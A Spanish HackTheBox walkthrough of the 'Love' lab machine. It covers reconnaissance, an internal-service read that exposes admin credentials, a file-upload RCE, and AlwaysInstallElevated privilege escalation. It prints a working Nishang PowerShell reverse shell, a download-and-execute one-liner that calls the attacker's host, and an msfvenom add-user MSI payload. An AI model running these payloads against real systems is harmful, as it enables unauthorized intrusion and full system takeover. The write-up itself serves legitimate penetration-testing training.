HackTheBox - Love (Guía)

Máquina de dificultad fácil de la plataforma HackTheBox.



Index



Recon


Lo primero que hacemos es lanzar un escaneo con nmap para descubrir los puertos abiertos:


80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp  open  pando-pub?
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC

El escaneo completo de nmap quedaría así:

┌──(kali㉿kali)-[~//Machines/HTB/Love/Enumeration]
└─$ znmap 10.129.48.103

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Issuer: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after:  2022-01-18T14:00:16
| MD5:   bff0 1add 5048 afc8 b3cf 7140 6e68 5ff6
|_SHA-1: 83ed 29c4 70f6 4036 a6f4 2d4d 4cf6 18a2 e9e4 96c2
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
| fingerprint-strings: 
|   NULL: 
|_    Host '10.10.14.139' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Issuer: commonName=LOVE
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T14:39:19
| Not valid after:  2024-04-10T14:39:19
| MD5:   d35a 2ba6 8ef4 7568 f99d d6f4 aaa2 03b5
|_SHA-1: 84ef d922 a70a 6d9d 82b8 5bb3 d04f 066b 12f8 6e73
|_ssl-date: 2021-10-02T12:50:07+00:00; +21m50s from scanner time.
| tls-alpn: 
|_  http/1.1
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=10/2%Time=61584FB4%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.139'\x20is\x20not\x20allo
SF:wed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h06m50s, deviation: 3h30m01s, median: 21m49s
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-10-02T05:49:53-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-10-02T12:49:56
|_  start_date: N/A

NSE: Script Post-scanning.
Initiating NSE at 08:28
Completed NSE at 08:28, 0.00s elapsed
Initiating NSE at 08:28
Completed NSE at 08:28, 0.00s elapsed
Initiating NSE at 08:28
Completed NSE at 08:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.03 seconds

He marcado en rojo la información más relevante.


Esta máquina se caracteriza por tener un 'attack surface' más amplia de lo normal, sobre todo para una máquina de su dificultad. Para nosotros lo importante es el puerto 80 donde tenemos el servidor web, el puerto 5000 que está corriendo apache y los dos puertos 5985 y 5986 qué tienen winrm activado.


Vamos a lanzar rápidamente 'whatweb' para especificar las tecnologías del servidor:


└─$ whatweb http://love.htb
http://love.htb [200 OK] Apache[2.4.46], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27], IP[10.129.48.103], JQuery, OpenSSL[1.1.1j], PHP[7.3.27], PasswordField[password], Script, Title[Voting System using PHP], X-Powered-By[PHP/7.3.27], X-UA-Compatible[IE=edge]

Dejamos Nikto corriendo mientras abrimos burp y vamos a navegar por la app web del puerto 80:


└─$ nikto -h http://love.htb
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.129.48.103
+ Target Hostname:    love.htb
+ Target Port:        80
+ Start Time:         2021-10-02 09:25:30 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
+ Retrieved x-powered-by header: PHP/7.3.27
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /Admin/: This might be interesting...



Vemos que la página consta de un formulario con un login simple.


Según Nikto, tenemos un par de directorios interesantes: /images y /admin


Dentro de /Images solo encontramos algunas fotos de perfil que hacen sospechar que en algún lado habrá algún tipo de panel de control dónde los usuarios tendrán sus propios perfiles o algo similar.




El directorio /admin parece funcionar exactamente igual que el directorio principal, salvo que seguramente nos permita acceder al panel de control mencionado.


Vemos que en el sitemap de burp no hay nada más relevante por ahora:




En el reporte de nmap inicial vimos una línea en el certificado ssl que indicaba un subdominio llamado "staging".


Vamos a intentar confirmar con Ffuf realizando el siguiente fuzzeo:



└─$ ffuf -w /usr/share/wordlists/onelistforallshort.txt -u http://love.htb -H "Host:FUZZ.love.htb" -fw 654                                                                                                   130/'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://love.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/onelistforallshort.txt
 :: Header           : Host: FUZZ.love.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 654
________________________________________________

staging                 [Status: 200, Size: 5357, Words: 1543, Lines: 192]
[WARN] Caught keyboard interrupt (Ctrl-C)

Efectivamente, parece que tenemos un subdominio de pruebas.


Modificamos el archivo /etc/hosts para apuntar la ip de la máquina a la url staging.love.htb

y visitamos la web de nuevo.


Foothold



La nueva plataforma de pruebas tiene un submenú llamado Demo dónde parece ser que nos va a dejar leer un archivo o directorio siempre y cuando sea mediante una URL y sea accesible desde la máquina víctima.


Vamos a comprobarlo levantando un servidor HTTP con python en nuestra máquina e intentando listar los archivos desde la plataforma víctima:


└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.48.103 - - [02/Oct/2021 10:10:57] "GET / HTTP/1.1" 200 -



Efectivamente, vamos por el buen camino y vemos que podemos leer nuestro directorio desde la máquina víctima.


No obstante, tras intentar acceder sin éxito a los archivos locales de la máquina víctima, si recordamos el reporte inicial de nmap, vemos como hay un servicio corriendo con apache en el puerto 5000.


Vamos a intentar acceder a ese servicio desde el panel:




Tenemos unas credenciales:


admin:@LoveIsInTheAir!!!!

User


Tras intentar acceder al panel inicial de love.htb (el principal, sin el subdominio) con las nuevas credenciales, recordamos que había un directorio llamado /admin el cual también tiene un login.


Si probamos las credenciales en ese formulario...



Estamos por fin dentro del panel de control que sospechábamos.


Dado que también habíamos visitado con anterioridad el directorio /images decidí buscar alguna opción en el dashboard que me permitiera subir de alguna manera un archivo como imagen que luego pueda darme acceso o RCE en la máquina víctima.


Ahí es cuando llego al submenú Voters que efectivamente me permite crear un votante con una imagen de perfil.


Capturamos la request con burp y lo mandamos al módulo repeater para modificarlo:



Aquí hemos añadido un archivo de texto llamado r00ted.txt con la string r00ted dentro. Si vamos por buen camino, al acceder a la url de este archivo, que debería estar dentro del directorio /images, tendríamos que ver nuestra string.


Vamos a comprobarlo con un curl:


└─$ curl http://love.htb/images/r00ted.txt
r00ted

Bingo. Eso quiere decir que es muy probable que si subimos un php tendremos acceso o RCE en la máquina víctima.



El php que hemos creado es el más minimalista posible (para que no de problemas entre plataformas).


Ahora solo tenemos que formar una nueva request GET para comprobar si tenemos RCE:



Listo. Tenemos RCE.


Ahora lo que necesitamos es conseguir una reverse shell.


Dado que se trata de Windows, y para evitar problemas con Windows Defender, vamos a intentar usar un OneLiner de Nishang y descargar y ejecutar el payload en el mismo comando.


El exploit:


# Nishang - Invoke-PowerShellTcpOneLine.ps1

└─$ cat shell.ps1                                         
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.139",9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Con el exploit ready, levantamos un servidor python en nuestra máquina atacante para hostear la payload:


└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Configuramos el listener con Rlwrap para tener una shell más estable:


└─$ rlwrap nc -lvnp 9999
listening on [any] 9999 ...

Y ahora creamos una nueve request prestando mucha atención a la codificación de la payload:



El payload original:


powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.139:8000/shell.ps1')"

Y...



Tenemos shell.


La flag del user está en "C:\Users\Phoebe\Desktop\user.txt"

Root


Recomiendo siempre mirar la checklist de Hacktricks. Es mi referencia en mis propios apuntes.


Si ejecutamos:


reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

Lo tenemos.

Lo que quiere decir el output es que podemos instalar cualquier paquete .msi con la directiva AlwaysInstallElevated y obtener system.


Vamos a crear un instalador con msfvenom en el que creemos un usuario con privilegios y posteriormente accederemos a él mediante el puerto de winrm que vimos inicialmente en el reporte de nmap:


└─$ msfvenom -p windows/adduser USER=r00ted PASS=P@ssword123! -f msi -o r00ted.msi 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 274 bytes
Final size of msi file: 159744 bytes
Saved as: r00ted.msi

Ahora levantamos de nuevo un servidor con python en nuestra máquina atacante y ejecutamos el siguiente comando powershell en la máquina víctima:


Invoke-WebRequest "http://10.10.14.139:8000/r00ted.msi" -OutFile "C:\Users\Phoebe\Desktop\r00ted.msi"

Y finalmente instalamos nuestra payload:


msiexec /quiet /qn /i r00ted.msi

Ahora podemos desconectar nuestra shell, y desde nuestra máquina atacante, ejecutamos evil-winrm:



La flag de root está en "C:\Users\Administrator\Desktop\root.txt"

Post-Mortem


La fase de reconocimiento fue la más laboriosa para mí. La superficie de ataque al ser demasiado amplia me llevó bastante tiempo para ir cerrando el cerco.


Los puertos del SMB son bastante llamativos pero no tenían nada relevante ya que no tenían acceso con guest.


Encontrar el subdominio staging no fue complicado al empezar a fuzzear con ffuf, pero la pista del reporte de nmap me pasó totalmente desapercibido y me hubiera ahorrado unos valiosos minutos.


Una vez en el subdominio, cuando encontré la funcionalidad de beta.php que leía URLs invertí demasiado tiempo intentando acceder a los archivos locales del sistema y tardé mucho en caer de nuevo en el puerto 5000 que tenía apache. Lo más lógico era pensar que podría acceder desde dentro una vez tuviera una shell o qué estaría para despistar.


Cuando tuve acceso al panel admin con las credenciales, tenía bastante claro la técnica a seguir al descubrir el directorio /images así que no invertí mucho tiempo en buscar un exploit para la plataforma de la página pero es posible que hubiera algún exploit, aunque no sé si funcional.


La parte del archivo php también me dió problemas ya que inicialmente subí una reverse shell que devolvía un error. La razón es porque el parámetro "uname" no está disponible en windows, así que ahí fue cuando decidí reducirlo a lo más sencillo posible. La parte de la descarga y ejecución de powershell también fue algo laboriosa hasta que conseguí dar con la tecla. La descarga se realizaba correctamente pero el listener no recogía la conexión. Inicialmente puse el puerto 5555. Probé a incrementar el número a 9999 por si en windows habría algún puerto o parámetro que pidiera privilegios para abrir un puerto en un rango demasiado bajo (como ocurre en linux). Una vez hecho así, el problema se resolvió.


La parte de root fue bastante intuitiva. Winpeas resalta el parámetro AlwaysInstallElevated en su reporte, igualmente, dado que estoy practicando con entornos Windows, decidí sacarlo manualmente siguiendo la Checklist de Hacktricks.



Descarga Notas y Reporte OSCP


Aquí os dejo las notas que he usado con cherrytree y el PDF en español e inglés en formato OSCP